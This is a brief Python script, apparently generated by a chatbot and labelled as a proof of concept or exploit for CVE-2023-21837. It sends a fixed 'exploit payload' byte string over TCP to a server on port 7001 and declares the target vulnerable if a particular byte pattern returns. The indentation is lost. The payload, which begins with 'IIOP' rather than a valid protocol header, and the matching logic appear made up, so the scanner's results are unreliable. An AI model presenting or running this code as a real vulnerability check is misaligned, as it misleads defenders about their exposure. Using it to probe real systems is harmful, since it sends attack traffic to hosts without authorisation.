POC,EXP, chatGPT for me
import socket
# CVE-2023-21837
def check_vulnerability(target_host, target_port):
# create socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# set timeout to 30 seconds
s.settimeout(30)
try:
# connect to target
s.connect((target_host, target_port))
# send exploit payload
s.send(b'\x49\x49\x4f\x50\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00')
# receive response
response = s.recv(1024)
# check if response indicates vulnerability
if b'Y\x02\x0f\x00\x00\x00\x00\x00\x00\x00' in response:
print(f"Target {target_host}:{target_port} is vulnerable!")
else:
print(f"Target {target_host}:{target_port} is not vulnerable.")
except socket.timeout:
print(f"Connection to {target_host}:{target_port} timed out.")
except ConnectionRefusedError:
print(f"Connection to {target_host}:{target_port} was refused.")
except Exception as e:
print(f"Error: {e}")
finally:
# close socket
s.close()
# example usage
check_vulnerability('127.0.0.1', 7001)